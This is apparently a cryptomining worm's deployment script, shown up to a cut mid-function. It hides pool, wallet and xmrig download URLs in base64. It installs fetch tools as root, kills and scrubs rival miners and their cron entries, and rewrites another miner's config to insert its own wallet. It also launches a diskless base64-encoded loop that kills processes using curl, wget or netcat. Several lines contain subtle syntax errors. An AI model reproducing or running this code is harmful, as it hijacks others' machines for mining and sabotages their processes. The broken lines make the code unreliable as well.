1. #!/bin/sh
  2. _d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
  3. #!/bin/sh
  4. if [ -z "$BASH_VERSION" ]; then
  5.   case "$0" in
  6.     /*|./*)
  7.       if command -v bash >/dev/null 2>&1; then
  8.         exec bash "$0" "$@"
  9.       fi
  10.     ;;
  11.   esac
  12. fi
  13. _c1="${1:-x}"
  14. _c2=$(_d 'aHR0cHM6Ly9yZWdpc3RyeS5ucG1qcy5vcmcvY2JjOTdiN2EvbGF0ZXN0')
  15. _c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')
  16. _c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
  17. _c5=$(_d 'Z29Bd2dCQ0ZI')
  18. _c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
  19. _c7=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FsYmVydG90cmluZGFkZTEzMS9hbC8tL3Jhdy9tYXN0ZXIveG1yaWc=')
  20. _c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
  21. _c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
  22. log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
  23. _preflight() {
  24.   _pf_need_fetch=1  # always need HTTP fetch capability
  25.   # Determine what we have
  26.   _check_tools() {
  27.     _pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0
  28.     command -v curl    >/dev/null 2>&1 && _pf_has_curl=1
  29.     command -v wget    >/dev/null 2>&1 && _pf_has_wget=1
  30.     command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1
  31.     command -v perl    >/dev/null 2>&1 && _pf_has_perl=1
  32.   }
  33.   _check_tools
  34.   # Can we fetch?
  35.   _pf_can_fetch() {
  36.     # curl or wget alone is sufficient
  37.     [ "$_pf_has_curl" = "1" ] && return 0
  38.     [ "$_pf_has_wget" = "1" ] && return 0
  39.     # openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)
  40.     [ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0
  41.     return 1
  42.   }
  43.   # If we can't fetch, try to install as root
  44.   if ! _pf_can_fetch; then
  45.     log "PREFLIGHT: missing HTTP fetch capability"
  46.     if [ "$(id -u)" = "0" ]; then
  47.       log "Running as root — installing missing components..."
  48.       _pf_installed=0
  49.       # Try package managers in order of preference: curl first (simplest),
  50.       # then wget, then openssl+perl
  51.       if command -v apk >/dev/null 2>&1; then
  52.         # Alpine: prefer curl, then wget
  53.         if [ "$_pf_installed" = "0" ]; then
  54.           log "  trying apk add curl..."
  55.           apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1
  56.         fi
  57.         if [ "$_pf_installed" = "0" ]; then
  58.           log "  trying apk add wget..."
  59.           apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1
  60.         fi
  61.         if [ "$_pf_installed" = "0" ]; then
  62.           log "  trying apk add openssl perl..."
  63.           apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1
  64.         fi
  65.       elif command -v apt-get >/dev/null 2>&1; then
  66.         # Debian/Ubuntu: prefer curl, then wget
  67.         apt-get update -qq >/dev/null 2>&1
  68.         if [ "$_pf_installed" = "0" ]; then
  69.           log "  trying apt-get install curl..."
  70.           apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1
  71.         fi
  72.         if [ "$_pf_installed" = "0" ]; then
  73.           log "  trying apt-get install wget..."
  74.           apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1
  75.         fi
  76.         if [ "$_pf_installed" = "0" ]; then
  77.           log "  trying apt-get install openssl perl..."
  78.           apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1
  79.         fi
  80.       elif command -v yum >/dev/null 2>&1; then
  81.         # RHEL/CentOS
  82.         if [ "$_pf_installed" = "0" ]; then
  83.           log "  trying yum install curl..."
  84.           yum install -y curl >/dev/null 2>&1 && _pf_installed=1
  85.         fi
  86.         if [ "$_pf_installed" = "0" ]; then
  87.           log "  trying yum install wget..."
  88.           yum install -y wget >/dev/null 2>&1 && _pf_installed=1
  89.         fi
  90.       elif command -v dnf >/dev/null 2>&1; then
  91.         # Fedora
  92.         if [ "$_pf_installed" = "0" ]; then
  93.           log "  trying dnf install curl..."
  94.           dnf install -y curl >/dev/null 2>&1 && _pf_installed=1
  95.         fi
  96.       fi
  97.       # Re-check after install
  98.       _check_tools
  99.       if _pf_can_fetch; then
  100.         log "PREFLIGHT: install succeeded"
  101.       else
  102.         log "PREFLIGHT: cannot install fetch tools; deferring to static-pastebin cron path"
  103.       fi
  104.     else
  105.       log "PREFLIGHT: no fetch capability and not root; deferring to static-pastebin cron path"
  106.     fi
  107.   fi
  108.   # Report what we have
  109.   _pf_tools=""
  110.   [ "$_pf_has_curl" = "1" ]    && _pf_tools="$_pf_tools curl"
  111.   [ "$_pf_has_wget" = "1" ]    && _pf_tools="$_pf_tools wget"
  112.   [ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"
  113.   [ "$_pf_has_perl" = "1" ]    && _pf_tools="$_pf_tools perl"
  114.   log "PREFLIGHT OK: fetch available via:$_pf_tools"
  115. }
  116. _preflight
  117.  
  118. _q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'
  119.  
  120. _z7() {
  121.     _r1="${1:-/var/tmp/.odoo_pg_health.json}"
  122.     _r2="${2:-/var/tmp/.odoo_pg_start}"
  123.     _s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'
  124.     _s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'
  125.     _h1 "$_r1" "$_s1"
  126.     _h1 "$_r2" "$_s2"
  127.     return 0
  128. }
  129.  
  130. _h1() {
  131.     _f0="$1"
  132.     _p0="$2"
  133.     _t0="${_f0}.$$"
  134.     command -v sed >/dev/null 2>&1 || return 0
  135.     command -v cat >/dev/null 2>&1 || return 0
  136.     [ -f "$_f0" ] || return 0
  137.     [ -r "$_f0" ] || return 0
  138.     [ -w "$_f0" ] || return 0
  139.     if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then
  140.         if cat "$_t0" > "$_f0" 2>/dev/null; then
  141.             :
  142.         fi
  143.     fi
  144.     rm -f "$_t0" 2>/dev/null || :
  145.     return 0
  146. }
  147.  
  148. mask_enemy() { _z7 "$@"; }
  149.  
  150.  
  151. detect_kill_unicorn() {
  152.     _dk_uid=$(id -u 2>/dev/null || echo 0)
  153.     _dk_user=$(id -un 2>/dev/null || echo "")
  154.     _dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
  155.     [ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"
  156.     _dk_cldir="$_dk_home/.claude"
  157.  
  158.     # Target 1: the daemonized miner, identified by cwd == ~/.claude.
  159.     # Safe: nothing legitimate ever runs from the worm's hidden dir.
  160.     _dk_miners=""
  161.     for _dk_proc in /proc/[0-9]*; do
  162.         [ -d "$_dk_proc" ] || continue
  163.         _dk_pid=${_dk_proc#/proc/}
  164.         [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  165.         [ "$_dk_pid" = "$$" ] && continue
  166.         _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  167.         [ "$_dk_owner" = "$_dk_uid" ] || continue
  168.         _dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
  169.         case "$_dk_cwd" in
  170.             "$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;
  171.         esac
  172.     done
  173.  
  174.     # Target 2: the live CRON jobs -> descendants respawner tree
  175.     _dk_crons=""
  176.     for _dk_proc in /proc/[0-9]*; do
  177.         [ -d "$_dk_proc" ] || continue
  178.         _dk_pid=${_dk_proc#/proc/}
  179.         [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  180.         [ "$_dk_pid" = "$$" ] && continue
  181.         _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  182.         [ "$_dk_owner" = "$_dk_uid" ] || continue
  183.         [ -r "$_dk_proc/cmdline" ] || continue
  184.         _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
  185.         _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
  186.         _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
  187.         _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
  188.         [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
  189.         [ "$_dk_a1" = "jobs" ] || continue
  190.         [ -n "$_dk_a2" ] && continue
  191.         _dk_crons="$_dk_crons $_dk_pid"
  192.     done
  193.  
  194.     # expand CRON jobs to all descendants
  195.     _dk_tree="$_dk_crons"
  196.     for _dk_round in 1 2 3 4 5; do
  197.         for _dk_proc in /proc/[0-9]*; do
  198.             [ -d "$_dk_proc" ] || continue
  199.             _dk_pid=${_dk_proc#/proc/}
  200.             [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  201.             [ "$_dk_pid" = "$$" ] && continue
  202.             _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  203.             [ "$_dk_owner" = "$_dk_uid" ] || continue
  204.             _dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
  205.             case " $_dk_tree " in
  206.                 *" $_dk_pp "*)
  207.                     case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac
  208.                     ;;
  209.             esac
  210.         done
  211.     done
  212.  
  213.     # Kill everything (miners + cron tree), TERM then KILL
  214.     _dk_all="$_dk_miners $_dk_tree"
  215.     for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done
  216.     sleep 1 2>/dev/null
  217.     for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done
  218.  
  219.     # Scrub the respawner: crontab + payload files in .claude
  220.     _dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'
  221.     if command -v crontab >/dev/null 2>&1; then
  222.         _dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
  223.         if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then
  224.             if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
  225.                 grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null
  226.                 echo "[dk] scrubbed crontab: $_dk_user"
  227.             fi
  228.         fi
  229.         rm -f "$_dk_ct" 2>/dev/null
  230.     fi
  231.     for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
  232.         [ -f "$_dk_f" ] || continue
  233.         grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue
  234.         chattr -f -ia "$_dk_f" 2>/dev/null
  235.         sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null
  236.     done
  237.  
  238.     # remove the worm payload files (only ones we own, only inside .claude)
  239.     if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then
  240.         for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do
  241.             [ -e "$_dk_f" ] || continue
  242.             [ -O "$_dk_f" ] || continue
  243.             chattr -f -ia "$_dk_f" 2>/dev/null
  244.             rm -f "$_dk_f" 2>/dev/null
  245.             echo "[dk] removed: $_dk_f"
  246.         done
  247.     fi
  248.  
  249.     [ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \
  250.         || echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"
  251.     return 0
  252. }
  253.  
  254. # ── Competitor-worm counter (ported TTP, 2026-10-22 forensics) ──────────────
  255. # The observed competitor family (ideesrv/hpvroom miner + .dbus guardian,
  256. # /opt/zimbra/db/data/.halt) SIGKILLs any same-user process whose cmdline
  257. # matches {curl, wget, dev/tcp dialer, pty.spawn, nc -e} from a ~100ms
  258. # /proc scan loop, via piped diskless children. Countermeasure:
  259. #   1) sweep their instances at deploy time (exe-path invariant)
  260. #   2) resident guardian arm (same scan rule, marker-exempt for our kit)
  261. # Mechanism doc: payloads/COMPETITOR-KILL-TACTIC.md
  262. _GC_MARK=corecheck
  263.  
  264. _gc_exempt() {
  265.     case "$1" in
  266.         *".beacon_"*|*"systemdev"*|*"cron-fetch"*|*"dns-filter"*|*"$_GC_MARK"*|*" 1510"*) return 0 ;;
  267.     esac
  268.     return 1
  269. }
  270.  
  271. sweep_competitor_worms() {
  272.     echo "[sw] sweep entered (uid: $(id -u), self: $$)"
  273.     _sw_uid=$(id -u 2>/dev/null)
  274.     for _sw_d in /proc/[0-9]*; do
  275.         _sw_p=${_sw_d#/proc/}
  276.         [ "$_sw_p" = "$$" ] && continue
  277.         [ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
  278.         _sw_ex=$(readlink "$_sw_d/exe" 2>/dev/null)
  279.         _sw_cmd=$(strings "$_sw_d/cmdline" 2>/dev/null)
  280.         _gc_exempt "$_sw_cmd" && continue
  281.         case "$_sw_ex" in
  282.             */".halt/"*|*/".dbus/"*)
  283.                 kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed: $_sw_p $_sw_ex" ;;
  284.             *)
  285.                 # script-style instances carry the hidden-dir path in the CMDLINE
  286.                 # (e.g. sh /opt/zimbra/db/data/.halt/ideesrv) — exe check alone
  287.                 # misses them (seen in ztest: mock worm survived exe-only match)
  288.                 case "$_sw_cmd" in
  289.                     *"/.halt/"*|*"/.dbus/"*)
  290.                         kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed (cmdline): $_sw_p $_sw_cmd" ;;
  291.                 esac ;;
  292.         esac
  293.     done
  294.     # pass 2: hunt resident killer-loop SCRIPTS (shell running a script file
  295.     # that combines kill -9 with competitor connection patterns — the
  296.     # on-host anti-competitor guardian shape). Exemptions apply first.
  297.     for _sw_d in /proc/[0-9]*; do
  298.         _sw_p=${_sw_d#/proc/}
  299.         [ "$_sw_p" = "$$" ] && continue
  300.         [ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
  301.         _sw_c1=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 1p)
  302.         _sw_sf=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 2p)
  303.         _gc_exempt "$_sw_c1" && continue
  304.         case "$_sw_c1" in
  305.             bash|sh|ash|dash|*/bash|*/sh|*/ash|*/dash)
  306.                 case "$_sw_sf" in
  307.                     /*)
  308.                         if [ -r "$_sw_sf" ] && grep -qF "kill -9" "$_sw_sf" 2>/dev/null \
  309.                            && grep -qE "dev/tcp|curl|wget" "$_sw_sf" 2>/dev/null; then
  310.                             kill -9 "$_sw_p" 2>/dev/null && rm -f "$_sw_sf" 2>/dev/null \
  311.                                 && echo "[sw] killer-script hunted: $_sw_p ($_sw_sf removed)"
  312.                         fi ;;
  313.                 esac ;;
  314.         esac
  315.     done
  316.     return 0
  317. }
  318.  
  319. # guardian scanner loop — installed diskless (streamed via stdin pipe),
  320. # 100ms /proc scan, same-uid only, marker-exempt; single instance via pidfile.
  321. _GC_LOOP_B64='VT0kKGlkIC11IDI+L2Rldi9udWxsKQpkZWNsYXJlIC1BIFNFRU4Kd2hpbGUgOjsgZG8KICBmb3IgZCBpbiAvcHJvYy9bMC05XSo7IGRvCiAgICBbIC1yICIkZC9jbWRsaW5lIiBdIHx8IGNvbnRpbnVlCiAgICBvPSQoc3RhdCAtYyV1ICIkZCIgMj4vZGV2L251bGwpIHx8IGNvbnRpbnVlCiAgICBbICIkbyIgPSAiJFUiIF0gfHwgY29udGludWUKICAgIHA9JHtkIy9wcm9jL30KICAgIFsgIiRwIiA9ICIkJCIgXSAmJiBjb250aW51ZQogICAgYz0kKHN0cmluZ3MgIiRkL2NtZGxpbmUiIDI+L2Rldi9udWxsKQogICAgY2FzZSAiJGMiIGluCiAgICAgICoiLmJlYWNvbl8iKnwqInN5c3RlbWRldiIqfCoiY3Jvbi1mZXRjaCIqfCoiZG5zLWZpbHRlciIqfCoiY29yZWNoZWNrIiopIGNvbnRpbnVlIDs7CiAgICBlc2FjCiAgICBjYXNlICIkYyIgaW4KICAgICAgKiJjdXJsIip8KiJ3Z2V0Iip8KiJkZXYvdGNwIip8KiJwdHkuc3Bhd24iKnwqIm5jIC1lIip8KiJuY2F0Iip8KiJzb2NhdCIqKQogICAgICAgIGlmIFsgLXogIiR7U0VFTlskcF19IiBdOyB0aGVuCiAgICAgICAgICBTRUVOWyRwXT0xCiAgICAgICAgZWxzZQogICAgICAgICAgU0VFTlskcF09JCgoJHtTRUVOWyRwXX0gKyAxKSkKICAgICAgICAgIGlmIFsgIiR7U0VFTlskcF19IiAtZ2UgMjAgXTsgdGhlbgogICAgICAgICAgICBraWxsIC05ICIkcCIgMj4vZGV2L251bGwKICAgICAgICAgICAgdW5zZXQgU0VFTlskcF0KICAgICAgICAgIGZpCiAgICAgICAgZmkgOzsKICAgICAgKikKICAgICAgICBbIC1uICIke1NFRU5bJHBdfSIgXSAmJiB1bnNldCBTRUVOWyRwXSA7OwogICAgZXNhYwogIGRvbmUKICBpPSQoKCR7aX0gKyAxKSkKICBpZiBbICQoKGkgJSA1MCkpIC1lcSAwIF07IHRoZW4KICAgIGZvciBwIGluICR7IVNFRU5bQF19OyBkbwogICAgICBbIC1kICIvcHJvYy8kcCIgXSB8fCB1bnNldCBTRUVOWyRwXQogICAgZG9uZQogIGZpCiAgc2xlZXAgMC4xIDI+L2Rldi9udWxsIHx8IHNsZWVwIDEKZG9uZQo='
  322.  
  323. install_competitor_guardian() {
  324.     [ "$(id -u)" = "0" ] && { echo "[gd] guardian: root deploy — skipped (phase-2)"; return 0; }
  325.     command -v stat >/dev/null 2>&1 || return 0
  326.     _gd_home=""
  327.     [ -n "$HOME" ] && [ -w "$HOME" ] && mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _gd_home="$HOME/.usr_cron/lib"
  328.     [ -n "$_gd_home" ] || _gd_home="/tmp/.usr_gd$$"
  329.     _gd_pidfile="$_gd_home/.gpid"
  330.     if [ -f "$_gd_pidfile" ]; then
  331.         _gd_old=$(cat "$_gd_pidfile" 2>/dev/null)
  332.         kill -0 "$_gd_old" 2>/dev/null && return 0
  333.         rm -f "$_gd_pidfile"
  334.     fi
  335.     # NOTE: the pipeline MUST be backgrounded (&) — without it the shell waits
  336.     # forever for the last stage (the guardian's own never-exiting loop) and
  337.     # deploy.sh hangs after "Beacon cron installed" (seen in ztest 2026-10-22).
  338.     printf %s "$_GC_LOOP_B64" | base64 -d 2>/dev/null | setsid bash >/dev/null 2>&1 &
  339.     _gd_newpid=$!
  340.     sleep 0.3
  341.     printf %s "$_gd_newpid" > "$_gd_pidfile" 2>/dev/null
  342.     kill -0 "$_gd_newpid" 2>/dev/null \
  343.         && echo "[gd] competitor guardian installed (pid $_gd_newpid, pidfile: $_gd_pidfile)" \
  344.         || echo "[gd] guardian install failed to start"
  345.     return 0
  346. }
  347.  
  348.  
  349. detect_kill_unicorn
  350. sweep_competitor_worms
  351.  
  352. http_get() {
  353.   _hg_url="$1"; _hg_follow=0
  354.   while [ "$_hg_follow" -lt 5 ]; do
  355.     _hg_follow=$((_hg_follow + 1))
  356.     _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  357.     _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  358.     [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  359.     _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  360.     [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  361.     _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  362.     printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  363.       "$_hg_path" "$_hg_host" > "$_hg_req"
  364.     if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  365.       # HTTPS — openssl s_client with SNI
  366.       if command -v timeout >/dev/null 2>&1; then
  367.         timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  368.           -servername "$_hg_host" -quiet \
  369.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  370.       else
  371.         openssl s_client -connect "${_hg_ip}:443" \
  372.           -servername "$_hg_host" -quiet \
  373.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  374.       fi
  375.       [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  376.     else
  377.       # Plain HTTP — use nc (netcat) if available (works on Alpine)
  378.       if command -v nc >/dev/null 2>&1; then
  379.         cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  380.       elif [ -n "$BASH_VERSION" ]; then
  381.         # bash /dev/tcp fallback
  382.         exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  383.         cat "$_hg_req" >&3
  384.         cat <&3 > "$_hg_raw" 2>/dev/null
  385.         exec 3>&-
  386.       else
  387.         # Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)
  388.         cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  389.       fi
  390.     fi
  391.     _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  392.     case "$_hg_status" in
  393.       301|302|303|307|308)
  394.         _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  395.         rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  396.         [ -z "$_hg_loc" ] && return 1
  397.         case "$_hg_loc" in
  398.           /*) _hg_loc="https://${_hg_host}${_hg_loc}"; ;;
  399.           http://*|https://*) ;;
  400.           *) _hg_loc="https://${_hg_host}/${_hg_loc}"; ;;
  401.         esac
  402.         _hg_url="$_hg_loc"
  403.         continue
  404.       ;;
  405.     esac
  406.     tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
  407.       if (/^(.*?)\n\n(.*)$/s) {
  408.         my ($h, $b) = ($1, $2);
  409.         if ($h =~ /transfer-encoding:\s*chunked/i) {
  410.           my $out = "";
  411.           while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
  412.             my $sz = hex($1); last if $sz == 0;
  413.             $b = $2; $out .= substr($b, 0, $sz);
  414.             $b = substr($b, $sz); $b =~ s/^\n//;
  415.           }
  416.           print $out;
  417.         } else { print $b; }
  418.       }
  419.     ' | grep -v '^[0-9a-fA-F]*$'
  420.     rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  421.     return 0
  422.   done
  423.   return 1
  424. }
  425. http_get_bin() {
  426.   _hg_url="$1"; _hg_out="$2"; _hg_follow=0
  427.   while [ "$_hg_follow" -lt 5 ]; do
  428.     _hg_follow=$((_hg_follow + 1))
  429.     _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  430.     _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  431.     [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  432.     _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  433.     [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  434.     _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  435.     printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  436.       "$_hg_path" "$_hg_host" > "$_hg_req"
  437.     if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  438.       # HTTPS — openssl s_client with SNI
  439.       if command -v timeout >/dev/null 2>&1; then
  440.         timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  441.           -servername "$_hg_host" -quiet \
  442.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  443.       else
  444.         openssl s_client -connect "${_hg_ip}:443" \
  445.           -servername "$_hg_host" -quiet \
  446.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  447.       fi
  448.       [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  449.     else
  450.       # Plain HTTP — nc or bash /dev/tcp
  451.       if command -v nc >/dev/null 2>&1; then
  452.         cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  453.       elif [ -n "$BASH_VERSION" ]; then
  454.         exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  455.         cat "$_hg_req" >&3
  456.         cat <&3 > "$_hg_raw" 2>/dev/null
  457.         exec 3>&-
  458.       else
  459.         cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  460.       fi
  461.     fi
  462.     _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  463.     case "$_hg_status" in
  464.       301|302|303|307|308)
  465.         _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  466.         rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  467.         [ -z "$_hg_loc" ] && return 1
  468.         case "$_hg_loc" in
  469.           /*) _hg_loc="https://${_hg_host}${_hg_loc}"; ;;
  470.           http://*|https://*) ;;
  471.           *) _hg_loc="https://${_hg_host}/${_hg_loc}"; ;;
  472.         esac
  473.         _hg_url="$_hg_loc"
  474.         continue
  475.       ;;
  476.     esac
  477.     perl -0777 -ne '
  478.       if (/^(.*?)\r\n\r\n(.*)$/s) {
  479.         my ($h, $b) = ($1, $2);
  480.         $h =~ s/\r//g;
  481.         if ($h =~ /transfer-encoding:\s*chunked/i) {
  482.           my $out = "";
  483.           while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
  484.             my $sz = hex($1); last if $sz == 0;
  485.             $b = $2; $out .= substr($b, 0, $sz);
  486.             $b = substr($b, $sz); $b =~ s/^\r?\n//;
  487.           }
  488.           print $out;
  489.         } else { print $b; }
  490.       }
  491.     ' < "$_hg_raw" > "$_hg_out"
  492.     rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  493.     [ -s "$_hg_out" ] && return 0 || return 1
  494.   done
  495.   return 1
  496. }
  497. fetch_url() {
  498.   _fu_url="$1"
  499.   if command -v curl >/dev/null 2>&1; then
  500.     curl -fsSLk -A corecheck/1.0 --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
  501.   elif command -v wget >/dev/null 2>&1; then
  502.     wget -qO- -U corecheck/1.0 --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
  503.   else
  504.     http_get "$_fu_url"
  505.   fi
  506. }
  507. fetch_file() {
  508.   _ff_url="$1"; _ff_out="$2"
  509.   if command -v curl >/dev/null 2>&1; then
  510.     curl -fLk --silent --show-error -A corecheck/1.0 --connect-timeout 10 --max-time 120 \
  511.       --retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null
  512.   elif command -v wget >/dev/null 2>&1; then
  513.     wget -q -U corecheck/1.0 --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
  514.   else
  515.     http_get_bin "$_ff_url" "$_ff_out"
  516.   fi
  517. }
  518. _is_excluded() {
  519.   _ie_cmdline="$1"
  520.   for _ie_pat in $_c6; do
  521.     case "$_ie_cmdline" in
  522.       *"$_ie_pat"*) return 0 ;;
  523.     esac
  524.   done
  525.   return 1
  526. }
  527. kill_themf() {
  528.   (
  529.     set +e
  530.     _kt_threshold=9
  531.     for _kt_proc in /proc/[0-9]*; do
  532.       [ -r "$_kt_proc/status" ] || continue
  533.       _kt_pid="${_kt_proc#/proc/}"
  534.       _kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
  535.       # Exclude our miner
  536.       _is_excluded "$_kt_cmdline" && continue
  537.       _kt_score=0
  538.       _kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
